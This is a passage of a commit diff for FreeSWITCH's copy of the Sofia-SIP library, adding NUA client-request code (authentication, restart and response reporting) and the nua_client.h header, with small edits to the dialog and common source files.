+static int nh_authorize(nua_handle_t *nh, tag_type_t tag, tag_value_t value, ...)
+{
+  int retval = 0;
+  tagi_t const *ti;
+  ta_list ta;
+
+  ta_start(ta, tag, value);
+
+  for (ti = ta_args(ta); ti; ti = tl_next(ti)) {
+    if (ti->t_tag == nutag_auth && ti->t_value) {
+      char *data = (char *)ti->t_value;
+      int rv = auc_credentials(&nh->nh_auth, nh->nh_home, data);
+
+      if (rv > 0) {
+	retval = 1;
+      }
+      else if (rv < 0) {
+	retval = -1;
+	break;
+      }
+    }
+  }
+
+  ta_end(ta);
+
+  return retval;
+}
+
+/** @NUA_EVENT nua_r_authenticate
+ *
+ * Response to nua_authenticate(). Under normal operation, this event is
+ * never sent but rather the unauthenticated operation is completed.
+ * However, if there is no operation to authentication or if there is an
+ * authentication error the #nua_r_authenticate event is sent to the
+ * application with the status code as follows:
+ * - <i>202 No operation to restart</i>:\n
+ *   The authenticator associated with the handle was updated, but there was
+ *   no operation to retry with the new credentials.
+ * - <i>900 Cannot add credentials</i>:\n
+ *   There was internal problem updating authenticator.
+ * - <i>904 No matching challenge</i>:\n
+ *   There was no challenge matching with the credentials provided by
+ *   nua_authenticate(), e.g., their realm did not match with the one
+ *   received with the challenge.
+ *
+ * @param status status code from authentication
+ * @param phrase a short textual description of @a status code
+ * @param nh     operation handle authenticated
+ * @param hmagic application context associated with the handle
+ * @param sip    NULL
+ * @param tags   empty
+ *
+ * @sa nua_terminate(), nua_handle_destroy()
+ *
+ * @END_NUA_EVENT
+ */
+
+void
+nua_stack_authenticate(nua_t *nua, nua_handle_t *nh, nua_event_t e,
+		       tagi_t const *tags)
+{
+  nua_client_request_t *cr = nh->nh_ds->ds_cr;
+  int status = nh_authorize(nh, TAG_NEXT(tags));
+
+  if (status > 0) {
+    if (cr && cr->cr_wait_for_cred) {
+      cr->cr_waiting = cr->cr_wait_for_cred = 0;
+      nua_client_restart_request(cr, cr->cr_terminating, tags);
+    }
+    else {
+      nua_stack_event(nua, nh, NULL, e,
+		      202, "No operation to restart",
+		      NULL);
+    }
+  }
+  else if (cr && cr->cr_wait_for_cred) {
+    cr->cr_waiting = cr->cr_wait_for_cred = 0;
+
+    if (status < 0)
+      nua_client_response(cr, 900, "Operation cannot add credentials", NULL);
+    else
+      nua_client_response(cr, 904, "Operation has no matching challenge ", NULL);
+  }
+  else if (status < 0) {
+    nua_stack_event(nua, nh, NULL, e, 900, "Cannot add credentials", NULL);
+  }
+  else {
+    nua_stack_event(nua, nh, NULL, e, 904, "No matching challenge", NULL);
+  }
+}
+
+/** Request restarted by timer */
+static void
+nua_client_restart_after(su_root_magic_t *magic,
+			 su_timer_t *timer,
+			 nua_client_request_t *cr)
+{
+  cr->cr_waiting = 0;
+  su_timer_destroy(cr->cr_timer), cr->cr_timer = NULL;
+  nua_client_restart_request(cr, cr->cr_terminating, NULL);
+  nua_client_request_unref(cr);
+}
+
+/** Restart request.
+ *
+ * @retval 1 if restarted
+ * @retval 0 otherwise
+ */
+int nua_client_restart(nua_client_request_t *cr,
+		       int status, char const *phrase)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  nta_outgoing_t *orq;
+  int error = -1, terminated, graceful;
+
+  if (cr->cr_retry_count > NH_PGET(nh, retry_count))
+    return 0;
+
+  orq = cr->cr_orq, cr->cr_orq = NULL;  assert(orq);
+  terminated = cr->cr_terminated, cr->cr_terminated = 0;
+  graceful = cr->cr_graceful, cr->cr_graceful = 0;
+
+  cr->cr_restarting = 1;
+  error = nua_client_request_sendmsg(cr);
+  cr->cr_restarting = 0;
+
+  if (error) {
+    cr->cr_graceful = graceful;
+    cr->cr_terminated = terminated;
+    assert(cr->cr_orq == NULL);
+    cr->cr_orq = orq;
+    return 0;
+  }
+
+  nua_client_report(cr, status, phrase, NULL, orq, NULL);
+
+  nta_outgoing_destroy(orq);
+  nua_client_request_unref(cr);	/* ... reference used by old orq */
+
+  return 1;
+}
+
+int nua_client_set_target(nua_client_request_t *cr, url_t const *target)
+{
+  url_t *new_target, *old_target = cr->cr_target;
+
+  if (!target || target == old_target)
+    return 0;
+
+  new_target = url_hdup(cr->cr_owner->nh_home, (url_t *)target);
+  if (!new_target)
+    return -1;
+  cr->cr_target = new_target;
+  if (old_target)
+    su_free(cr->cr_owner->nh_home, old_target);
+
+  return 0;
+}
+
+/**@internal
+ * Relay response event to the application.
+ *
+ * @todo
+ * If handle has already been marked as destroyed by nua_handle_destroy(),
+ * release the handle with nh_destroy().
+ *
+ * @retval 0 if event was preliminary
+ * @retval 1 if event was final
+ * @retval 2 if event destroyed the handle, too.
+ */
+int nua_base_client_tresponse(nua_client_request_t *cr,
+			      int status, char const *phrase,
+			      sip_t const *sip,
+			      tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+  int retval;
+
+  if (cr->cr_event == nua_r_destroy)
+    return nua_base_client_response(cr, status, phrase, sip, NULL);
+
+  ta_start(ta, tag, value);
+  retval = nua_base_client_response(cr, status, phrase, sip, ta_args(ta));
+  ta_end(ta);
+
+  return retval;
+}
+
+/**@internal
+ * Relay response event to the application.
+ *
+ * @todo
+ * If handle has already been marked as destroyed by nua_handle_destroy(),
+ * release the handle with nh_destroy().
+ *
+ * @retval 0 if event was preliminary
+ * @retval 1 if event was final
+ * @retval 2 if event destroyed the handle, too.
+ */
+int nua_base_client_response(nua_client_request_t *cr,
+			     int status, char const *phrase,
+			     sip_t const *sip,
+			     tagi_t const *tags)
+{
+  nua_handle_t *nh = cr->cr_owner;
+  sip_method_t method = cr->cr_method;
+  nua_dialog_usage_t *du;
+
+  cr->cr_reporting = 1, nh->nh_ds->ds_reporting = 1;
+
+  if (nh->nh_auth && sip &&
+      (sip->sip_authentication_info || sip->sip_proxy_authentication_info)) {
+    /* Collect nextnonce */
+    if (sip->sip_authentication_info)
+      auc_info(&nh->nh_auth,
+	       sip->sip_authentication_info,
+	       sip_authorization_class);
+    if (sip->sip_proxy_authentication_info)
+      auc_info(&nh->nh_auth,
+	       sip->sip_proxy_authentication_info,
+	       sip_proxy_authorization_class);
+  }
+
+  if ((method != sip_method_invite && status >= 200) || status >= 300)
+    nua_client_request_remove(cr);
+
+  nua_client_report(cr, status, phrase, sip, cr->cr_orq, tags);
+
+  if (status < 200 ||
+      /* Un-ACKed 2XX response to INVITE */
+      (method == sip_method_invite && status < 300 && !cr->cr_acked)) {
+    cr->cr_reporting = 0, nh->nh_ds->ds_reporting = 0;
+    return 1;
+  }
+
+  nua_client_request_clean(cr);
+
+  du = cr->cr_usage;
+
+  if (cr->cr_terminated < 0) {
+    /* XXX - dialog has been terminated */;
+    nua_dialog_deinit(nh, nh->nh_ds), cr->cr_usage = NULL;
+  }
+  else if (du) {
+    if (cr->cr_terminated ||
+	(!du->du_ready && status >= 300 && nua_client_is_bound(cr))) {
+      /* Usage has been destroyed */
+      nua_dialog_usage_remove(nh, nh->nh_ds, du, cr, NULL), cr->cr_usage = NULL;
+    }
+    else if (cr->cr_graceful) {
+      /* Terminate usage gracefully */
+      if (nua_dialog_usage_shutdown(nh, nh->nh_ds, du) > 0)
+	cr->cr_usage = NULL;
+    }
+  }
+  else if (cr->cr_terminated) {
+    if (nh->nh_ds->ds_usage == NULL)
+      nua_dialog_remove(nh, nh->nh_ds, NULL), cr->cr_usage = NULL;
+  }
+
+  cr->cr_phrase = NULL;
+  cr->cr_reporting = 0, nh->nh_ds->ds_reporting = 0;
+
+  if (method == sip_method_cancel)
+    return 1;
+
+  return nua_client_next_request(nh->nh_ds->ds_cr, method == sip_method_invite);
+}
+
+/** Send event, zap transaction but leave cr in list */
+int nua_client_report(nua_client_request_t *cr,
+		      int status, char const *phrase,
+		      sip_t const *sip,
+		      nta_outgoing_t *orq,
+		      tagi_t const *tags)
+{
+  nua_handle_t *nh;
+
+  if (cr->cr_event == nua_r_destroy)
+    return 1;
+
+  if (cr->cr_methods->crm_report)
+    return cr->cr_methods->crm_report(cr, status, phrase, sip, orq, tags);
+
+  nh = cr->cr_owner;
+
+  nua_stack_event(nh->nh_nua, nh,
+		  nta_outgoing_getresponse(orq),
+		  (enum nua_event_e)cr->cr_event,
+		  status, phrase,
+		  tags);
+  return 1;
+}
+
+int nua_client_treport(nua_client_request_t *cr,
+		       int status, char const *phrase,
+		       sip_t const *sip,
+		       nta_outgoing_t *orq,
+		       tag_type_t tag, tag_value_t value, ...)
+{
+  int retval;
+  ta_list ta;
+  ta_start(ta, tag, value);
+  retval = nua_client_report(cr, status, phrase, sip, orq, ta_args(ta));
+  ta_end(ta);
+  return retval;
+}
+
+int nua_client_next_request(nua_client_request_t *cr, int invite)
+{
+  for (; cr; cr = cr->cr_next) {
+    if (cr->cr_method == sip_method_cancel)
+      continue;
+
+    if (invite
+	? cr->cr_method == sip_method_invite
+	: cr->cr_method != sip_method_invite)
+      break;
+  }
+
+  if (cr && !nua_client_request_in_progress(cr)) {
+    nua_client_init_request(cr);
+  }
+
+  return 1;
+}
+
+nua_client_request_t *
+nua_client_request_pending(nua_client_request_t const *cr)
+{
+  for (;cr;cr = cr->cr_next)
+    if (cr->cr_orq)
+      return (nua_client_request_t *)cr;
+
+  return NULL;
+}
+
+/**@internal
+ * Save handle parameters and initial authentication info.
+ *
+ * @retval -1 upon an error
+ * @retval 0 when successful
+ */
+int nua_stack_init_handle(nua_t *nua, nua_handle_t *nh, tagi_t const *tags)
+{
+  int retval = 0;
+
+  if (nh == NULL)
+    return -1;
+
+  assert(nh != nua->nua_dhandle);
+
+  if (nua_stack_set_params(nua, nh, nua_i_error, tags) < 0)
+    retval = -1;
+
+  if (retval || nh->nh_init) /* Already initialized? */
+    return retval;
+
+  if (nh->nh_tags)
+    nh_authorize(nh, TAG_NEXT(nh->nh_tags));
+
+  nh->nh_init = 1;
+
+  return 0;
+}

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,344 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2006, 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef NUA_CLIENT_H
+/** Defined when <nua_client.h> has been included. */
+#define NUA_CLIENT_H
+
+/**@IFILE nua_client.h
+ * @brief Client requests
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ * @author Kai Vehmanen <Kai.Vehmanen@nokia.com>
+ *
+ * @date Created: Tue Feb  3 15:50:35 EET 2009 ppessi
+ */
+
+#include <nua_types.h>
+
+/* Methods for client request. @internal */
+typedef struct {
+  sip_method_t crm_method;
+  char const *crm_method_name;
+  size_t crm_extra;		/**< Size of private data */
+
+  struct {
+    unsigned create_dialog:1, in_dialog:1, target_refresh:1;
+    unsigned:0;
+  } crm_flags;
+
+  /** Generate a request message.
+   *
+   * @retval 1 when request message has been created
+   * @retval 0 when request message should be created in normal fashion
+   * @retval -1 upon an error
+   */
+  int (*crm_template)(nua_client_request_t *cr,
+		      msg_t **return_msg,
+		      tagi_t const *tags);
+
+  /**@a crm_init is called when a client request is sent first time.
+   *
+   * @retval 1 when request has been responded
+   * @retval 0 when request should be sent in normal fashion
+   * @retval -1 upon an error
+   */
+  int (*crm_init)(nua_client_request_t *, msg_t *msg, sip_t *sip,
+		  tagi_t const *tags);
+
+  /** @a crm_send is called each time when a client request is sent.
+   *
+   * @retval 1 when request has been responded
+   * @retval 0 when request has been sent
+   * @retval -1 upon an error (but request message has not been destroyed)
+   * @retval -2 upon an error
+   */
+  int (*crm_send)(nua_client_request_t *,
+		  msg_t *msg, sip_t *sip,
+		  tagi_t const *tags);
+
+  /** @a crm_check_restart is called each time when a response is received.
+   *
+   * It is used to restart request after responses with method-specific
+   * status code or method-specific way of restarting the request.
+   *
+   * @retval 1 when request has been restarted
+   * @retval 0 when response should be processed normally
+   */
+  int (*crm_check_restart)(nua_client_request_t *,
+			   int status, char const *phrase,
+			   sip_t const *sip);
+
+  /** @a crm_recv is called each time a final response is received.
+   *
+   * A final response is in range 200 .. 699 (or internal response) and it
+   * cannot be restarted.
+   *
+   * crm_recv() should call nua_base_client_response() or
+   * nua_base_client_tresponse(). The return values below are documented with
+   * nua_base_client_response(), too.
+   *
+   * @retval 0 if response was preliminary
+   * @retval 1 if response was final
+   * @retval 2 if response destroyed the handle, too.
+   */
+  int (*crm_recv)(nua_client_request_t *,
+		  int status, char const *phrase,
+		  sip_t const *sip);
+
+  /** @a crm_preliminary is called each time a preliminary response is received.
+   *
+   * A preliminary response is in range 101 .. 199.
+   *
+   * crm_preliminary() should call nua_base_client_response() or
+   * nua_base_client_tresponse().
+   *
+   * @retval 0 if response was preliminary
+   * @retval 1 if response was final
+   * @retval 2 if response destroyed the handle, too.
+   */
+  int (*crm_preliminary)(nua_client_request_t *,
+			 int status, char const *phrase,
+			 sip_t const *sip);
+
+  /** @a crm_report is called each time a response is received and it is
+   * reported to the application.
+   *
+   * The status and phrase may be different from the status and phrase
+   * received from the network, e.g., when the request is restarted.
+   *
+   * @return The return value should be 0. It is currently ignored.
+   */
+  int (*crm_report)(nua_client_request_t *,
+		    int status, char const *phrase,
+		    sip_t const *sip,
+		    nta_outgoing_t *orq,
+		    tagi_t const *tags);
+
+  /** @a crm_complete is called when a client-side request is destroyed.
+   *
+   * @return The return value should be 0. It is currently ignored.
+   */
+  int (*crm_complete)(nua_client_request_t *);
+
+} nua_client_methods_t;
+
+/* Client-side request. Documented by nua_client_create() */
+struct nua_client_request
+{
+  nua_client_request_t *cr_next, **cr_prev; /**< Linked list of requests */
+  nua_owner_t        *cr_owner;
+  nua_dialog_usage_t *cr_usage;
+
+  nua_saved_signal_t cr_signal[1];
+  tagi_t const      *cr_tags;
+
+  nua_client_methods_t const *cr_methods;
+
+  msg_t              *cr_msg;
+  sip_t              *cr_sip;
+
+  nta_outgoing_t     *cr_orq;
+
+  su_timer_t         *cr_timer;	        /**< Expires or retry timer */
+
+  /*nua_event_t*/ int cr_event;		/**< Request event */
+  sip_method_t        cr_method;
+  char const         *cr_method_name;
+
+  url_t              *cr_target;
+
+  char const         *cr_phrase;        /**< Latest status phrase */
+  unsigned short      cr_status;        /**< Latest status */
+  unsigned short      cr_retry_count;   /**< Retry count for this request */
+
+  uint32_t            cr_seq;
+
+  unsigned            cr_refs;	 /**< References to client request */
+
+  /* Flags used with offer-answer */
+  unsigned short      cr_answer_recv;   /**< Recv answer in response
+					 *  with this status.
+					 */
+  unsigned cr_offer_sent:1;	/**< Sent offer in this request */
+
+  unsigned cr_offer_recv:1;	/**< Recv offer in a response */
+  unsigned cr_answer_sent:1;	/**< Sent answer in (PR)ACK */
+
+  /* Flags with usage */
+  unsigned cr_neutral:1;	/**< No effect on session or other usage */
+
+  /* Lifelong flags? */
+  unsigned cr_auto:1;		/**< Request was generated by stack */
+  unsigned cr_has_contact:1;	/**< Request has user Contact */
+  unsigned cr_contactize:1;	/**< Request needs Contact */
+  unsigned cr_dialog:1;		/**< Request can initiate dialog */
+
+  /* Current state */
+  unsigned cr_initial:1;	/**< Initial request of a dialog */
+  unsigned cr_acked:1;		/**< Final response to the request has been ACKed */
+  unsigned cr_waiting:1;	/**< Request is waiting */
+  unsigned cr_challenged:1;	/**< Request was challenged */
+  unsigned cr_wait_for_cred:1;	/**< Request is pending authentication */
+  unsigned cr_restarting:1;	/**< Request is being restarted */
+  unsigned cr_reporting:1;	/**< Reporting in progress */
+  unsigned cr_terminating:1;	/**< Request terminates the usage */
+  signed int cr_terminated:2;	/**< Response terminated usage (1) or
+				    whole dialog (-1) */
+  unsigned cr_graceful:1;	/**< Graceful termination required */
+};
+
+int nua_client_create(nua_owner_t *owner,
+		      int event,
+		      nua_client_methods_t const *methods,
+		      tagi_t const *tags);
+
+int nua_client_tcreate(nua_owner_t *nh,
+		       int event,
+		       nua_client_methods_t const *methods,
+		       tag_type_t tag, tag_value_t value, ...);
+
+su_inline
+void *nua_private_client_request(nua_client_request_t const *cr)
+{
+  return (void *)(cr + 1);
+}
+
+nua_client_request_t *nua_client_request_ref(nua_client_request_t *);
+int nua_client_request_unref(nua_client_request_t *);
+
+#if HAVE_MEMLEAK_LOG
+
+#define nua_client_request_ref(cr) \
+  nua_client_request_ref_by((cr), __FILE__, __LINE__, __func__)
+#define nua_client_request_unref(cr) \
+  nua_client_request_unref_by((cr), __FILE__, __LINE__, __func__)
+
+nua_client_request_t *nua_client_request_ref_by(nua_client_request_t *,
+						char const *file, unsigned line,
+						char const *who);
+int nua_client_request_unref_by(nua_client_request_t *,
+				char const *file, unsigned line, char const *who);
+
+#endif
+
+int nua_client_request_queue(nua_client_request_t *cr);
+
+su_inline int nua_client_is_queued(nua_client_request_t const *cr)
+{
+  return cr && cr->cr_prev;
+}
+
+int nua_client_request_in_progress(nua_client_request_t const *cr);
+
+int nua_client_request_complete(nua_client_request_t *cr);
+int nua_client_request_remove(nua_client_request_t *cr);
+int nua_client_request_clean(nua_client_request_t *cr);
+int nua_client_bind(nua_client_request_t *cr, nua_dialog_usage_t *du);
+
+su_inline int nua_client_is_bound(nua_client_request_t const *cr)
+{
+  return cr && cr->cr_usage && cr->cr_usage->du_cr == cr;
+}
+
+su_inline int nua_client_is_reporting(nua_client_request_t const *cr)
+{
+  return cr && cr->cr_reporting;
+}
+
+/** Mark client request as a terminating one */
+su_inline void nua_client_set_terminating(nua_client_request_t *cr, int value)
+{
+  cr->cr_terminating = value != 0;
+}
+
+int nua_client_init_request(nua_client_request_t *cr);
+
+msg_t *nua_client_request_template(nua_client_request_t *cr);
+
+int nua_client_restart_request(nua_client_request_t *cr,
+			       int terminating,
+			       tagi_t const *tags);
+
+int nua_client_resend_request(nua_client_request_t *cr,
+			      int terminating);
+
+int nua_base_client_request(nua_client_request_t *cr,
+			    msg_t *msg,
+			    sip_t *sip,
+			    tagi_t const *tags);
+
+int nua_base_client_trequest(nua_client_request_t *cr,
+			     msg_t *msg,
+			     sip_t *sip,
+			     tag_type_t tag, tag_value_t value, ...);
+
+extern nta_response_f nua_client_orq_response;
+
+int nua_client_return(nua_client_request_t *cr,
+		      int status,
+		      char const *phrase,
+		      msg_t *to_be_destroyed);
+
+int nua_client_response(nua_client_request_t *cr,
+			int status,
+			char const *phrase,
+			sip_t const *sip);
+
+int nua_client_check_restart(nua_client_request_t *cr,
+			     int status,
+			     char const *phrase,
+			     sip_t const *sip);
+
+int nua_base_client_check_restart(nua_client_request_t *cr,
+				  int status,
+				  char const *phrase,
+				  sip_t const *sip);
+
+int nua_client_restart(nua_client_request_t *cr,
+		       int status, char const *phrase);
+
+int nua_base_client_response(nua_client_request_t *cr,
+			     int status, char const *phrase,
+			     sip_t const *sip,
+			     tagi_t const *tags);
+
+int nua_base_client_tresponse(nua_client_request_t *cr,
+			      int status, char const *phrase,
+			      sip_t const *sip,
+			      tag_type_t tag, tag_value_t value, ...);
+
+int nua_client_set_target(nua_client_request_t *cr, url_t const *target);
+
+int nua_client_report(nua_client_request_t *cr,
+		      int status, char const *phrase,
+		      sip_t const *sip,
+		      nta_outgoing_t *orq,
+		      tagi_t const *tags);
+
+nua_client_request_t *nua_client_request_pending(nua_client_request_t const *);
+
+int nua_client_next_request(nua_client_request_t *cr, int invite);
+
+#endif /* NUA_CLIENT_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_common.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_common.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_common.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -55,6 +55,7 @@
 
 #include <sofia-sip/su_wait.h>
 
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_strlst.h>
 
 #include "sofia-sip/nua.h"
@@ -308,6 +309,8 @@
 char const *nua_event_name(nua_event_t event)
 {
   switch (event) {
+  case nua_i_none: return "nua_i_none";
+
   case nua_i_error: return "nua_i_error";
   case nua_i_invite: return "nua_i_invite";
   case nua_i_cancel: return "nua_i_cancel";
@@ -420,11 +423,11 @@
 {
   if (sip_substate == NULL)
     return nua_substate_active;
-  else if (strcasecmp(sip_substate, "terminated") == 0)
+  else if (su_casematch(sip_substate, "terminated"))
     return nua_substate_terminated;
-  else if (strcasecmp(sip_substate, "pending") == 0)
+  else if (su_casematch(sip_substate, "pending"))
     return nua_substate_pending;
-  else /* if (strcasecmp(sip_substate, "active") == 0) */
+  else /* if (su_casematch(sip_substate, "active")) */
     return nua_substate_active;
 }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_dialog.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_dialog.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_dialog.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_uniqueid.h>
 
 #include <sofia-sip/sip_protos.h>
@@ -104,13 +104,16 @@
  * @param ds   dialog state
  * @param sip  SIP message containing response used to update dialog
  * @param rtag if true, set remote tag within the leg
+ * @param initial if true, @a sip is response to initial transaction
  */
 void nua_dialog_uac_route(nua_owner_t *own,
 			  nua_dialog_state_t *ds,
 			  sip_t const *sip,
-			  int rtag)
+			  int rtag,
+			  int initial)
 {
   int established = nua_dialog_is_established(ds);
+  int status = sip->sip_status->st_status;
 
   if (!established && sip->sip_to->a_tag)
     ds->ds_remote_tag = su_strdup(own, sip->sip_to->a_tag);
@@ -118,7 +121,11 @@
   if (ds->ds_leg == NULL)
     return;
 
-  nta_leg_client_route(ds->ds_leg, sip->sip_record_route, sip->sip_contact);
+  if (initial && status >= 200)
+    nta_leg_client_reroute(ds->ds_leg, sip->sip_record_route, sip->sip_contact, 1);
+  else
+    nta_leg_client_reroute(ds->ds_leg, sip->sip_record_route, sip->sip_contact, 0);
+
   ds->ds_route = ds->ds_route || sip->sip_record_route || sip->sip_contact;
 
   if (rtag && !established && sip->sip_to->a_tag)
@@ -241,10 +248,10 @@
       if (event != o) {
 	if (event == NULL || o == NULL)
 	  continue;
-	if (strcmp(event->o_type, o->o_type))
+	if (!su_strmatch(event->o_type, o->o_type))
 	  continue;
-	if (str0casecmp(event->o_id, o->o_id)) {
-	  if (event->o_id || strcmp(event->o_type, "refer"))
+	if (!su_casematch(event->o_id, o->o_id)) {
+	  if (event->o_id || !su_strmatch(event->o_type, "refer"))
 	    continue;
 	}
       }
@@ -536,7 +543,7 @@
 
   du->du_refquested = now;
 
-  nua_dialog_usage_set_refresh_at(du, target);
+  du->du_refresh = target;
 }
 
 /** Set absolute refresh time */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_dialog.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_dialog.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_dialog.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,277 +41,6 @@
 #include <sofia-sip/nta.h>
 #endif
 
-typedef struct {
-  sip_method_t sm_method;
-  char const *sm_method_name;
-
-  int sm_event;
-
-  struct {
-    unsigned create_dialog:1, in_dialog:1, target_refresh:1, add_contact:1;
-    unsigned :0;
-  } sm_flags;
-
-  /** Initialize server-side request. */
-  int (*sm_init)(nua_server_request_t *sr);
-
-  /** Preprocess server-side request (after handle has been created). */
-  int (*sm_preprocess)(nua_server_request_t *sr);
-
-  /** Update server-side request parameters */
-  int (*sm_params)(nua_server_request_t *sr, tagi_t const *tags);
-
-  /** Respond to server-side request. */
-  int (*sm_respond)(nua_server_request_t *sr, tagi_t const *tags);
-
-  /** Report server-side request to application. */
-  int (*sm_report)(nua_server_request_t *sr, tagi_t const *tags);
-
-} nua_server_methods_t;
-
-
-/* Server side transaction */
-struct nua_server_request {
-  struct nua_server_request *sr_next, **sr_prev;
-
-  nua_server_methods_t const *sr_methods;
-
-  nua_owner_t *sr_owner;	/**< Backpointer to handle */
-  nua_dialog_usage_t *sr_usage;	/**< Backpointer to usage */
-
-  nta_incoming_t *sr_irq;	/**< Server transaction object */
-
-  struct {
-    msg_t *msg;			/**< Request message */
-    sip_t const *sip;		/**< Headers in request message */
-  } sr_request;
-
-  struct {
-    msg_t *msg;			/**< Response message */
-    sip_t *sip;			/**< Headers in response message */
-  } sr_response;
-
-  sip_method_t sr_method;	/**< Request method */
-
-  int sr_application;		/**< Status by application */
-
-  int sr_status;		/**< Status code */
-  char const *sr_phrase;	/**< Status phrase */
-
-  unsigned sr_event:1;		/**< Reported to application */
-  unsigned sr_initial:1;	/**< Handle was created by this request */
-  unsigned sr_add_contact:1;	/**< Add Contact header to the response */
-  unsigned sr_target_refresh:1;	/**< Refresh target */
-  unsigned sr_terminating:1;	/**< Terminate usage after final response */
-  unsigned sr_gracefully:1;	/**< Terminate usage gracefully */
-
-  unsigned sr_neutral:1;	/**< No effect on session or other usage */
-
-  /* Flags used with 100rel */
-  unsigned sr_100rel:1, sr_pracked:1;
-
-  /* Flags used with offer-answer */
-  unsigned sr_offer_recv:1;	/**< We have received an offer */
-  unsigned sr_answer_sent:2;	/**< We have answered (reliably, if >1) */
-
-  unsigned sr_offer_sent:2;	/**< We have offered SDP (reliably, if >1) */
-  unsigned sr_answer_recv:1;	/**< We have received SDP answer */
-
-  unsigned :0;
-
-  char const *sr_sdp;		/**< SDP received from client */
-  size_t sr_sdp_len;		/**< SDP length */
-
-  /**< Save 200 OK nua_respond() signal until PRACK has been received */
-  nua_saved_signal_t sr_signal[1];
-};
-
-#define SR_STATUS(sr, status, phrase) \
-  ((sr)->sr_phrase = (phrase), (sr)->sr_status = (status))
-
-#define SR_STATUS1(sr, statusphrase)					\
-  sr_status(sr, statusphrase)
-
-#define SR_HAS_SAVED_SIGNAL(sr) ((sr)->sr_signal[0] != NULL)
-
-su_inline
-int sr_status(nua_server_request_t *sr, int status, char const *phrase)
-{
-  return (void)(sr->sr_phrase = phrase), (sr->sr_status = status);
-}
-
-/* Methods for client request. @internal */
-typedef struct {
-  sip_method_t crm_method;
-  char const *crm_method_name;
-  size_t crm_extra;		/**< Size of private data */
-
-  struct {
-    unsigned create_dialog:1, in_dialog:1, target_refresh:1;
-    unsigned:0;
-  } crm_flags;
-
-  /** Generate a request message.
-   *
-   * @retval 1 when request message has been created
-   * @retval 0 when request message should be created in normal fashion
-   * @retval -1 upon an error
-   */
-  int (*crm_template)(nua_client_request_t *cr,
-		      msg_t **return_msg,
-		      tagi_t const *tags);
-
-  /**@a crm_init is called when a client request is sent first time.
-   *
-   * @retval 1 when request has been responded
-   * @retval 0 when request should be sent in normal fashion
-   * @retval -1 upon an error
-   */
-  int (*crm_init)(nua_client_request_t *, msg_t *msg, sip_t *sip,
-		  tagi_t const *tags);
-
-  /** @a crm_send is called each time when a client request is sent.
-   *
-   * @retval 1 when request has been responded
-   * @retval 0 when request has been sent
-   * @retval -1 upon an error (request message has not been destroyed)
-   * @retval -2 upon an error (request message has been destroyed)
-   */
-  int (*crm_send)(nua_client_request_t *,
-		  msg_t *msg, sip_t *sip,
-		  tagi_t const *tags);
-
-  /** @a crm_check_restart is called each time when a response is received.
-   *
-   * It is used to restart reqquest after responses with method-specific
-   * status code or method-specific way of restarting the request.
-   *
-   * @retval 1 when request has been restarted
-   * @retval 0 when response should be processed normally
-   */
-  int (*crm_check_restart)(nua_client_request_t *,
-			   int status, char const *phrase,
-			   sip_t const *sip);
-
-  /** @a crm_recv is called each time a final response is received.
-   *
-   * A final response is in range 200 .. 699 (or internal response) and it
-   * cannot be restarted.
-   *
-   * crm_recv() should call nua_base_client_response() or
-   * nua_base_client_tresponse(). The return values below are documented with
-   * nua_base_client_response(), too.
-   *
-   * @retval 0 if response was preliminary
-   * @retval 1 if response was final
-   * @retval 2 if response destroyed the handle, too.
-   */
-  int (*crm_recv)(nua_client_request_t *,
-		  int status, char const *phrase,
-		  sip_t const *sip);
-
-  /** @a crm_preliminary is called each time a preliminary response is received.
-   *
-   * A preliminary response is in range 101 .. 199.
-   *
-   * crm_preliminary() should call nua_base_client_response() or
-   * nua_base_client_tresponse().
-   *
-   * @retval 0 if response was preliminary
-   * @retval 1 if response was final
-   * @retval 2 if response destroyed the handle, too.
-   */
-  int (*crm_preliminary)(nua_client_request_t *,
-			 int status, char const *phrase,
-			 sip_t const *sip);
-
-  /** @a crm_report is called each time a response is received and it is
-   * reported to the application.
-   *
-   * The status and phrase may be different from the status and phrase
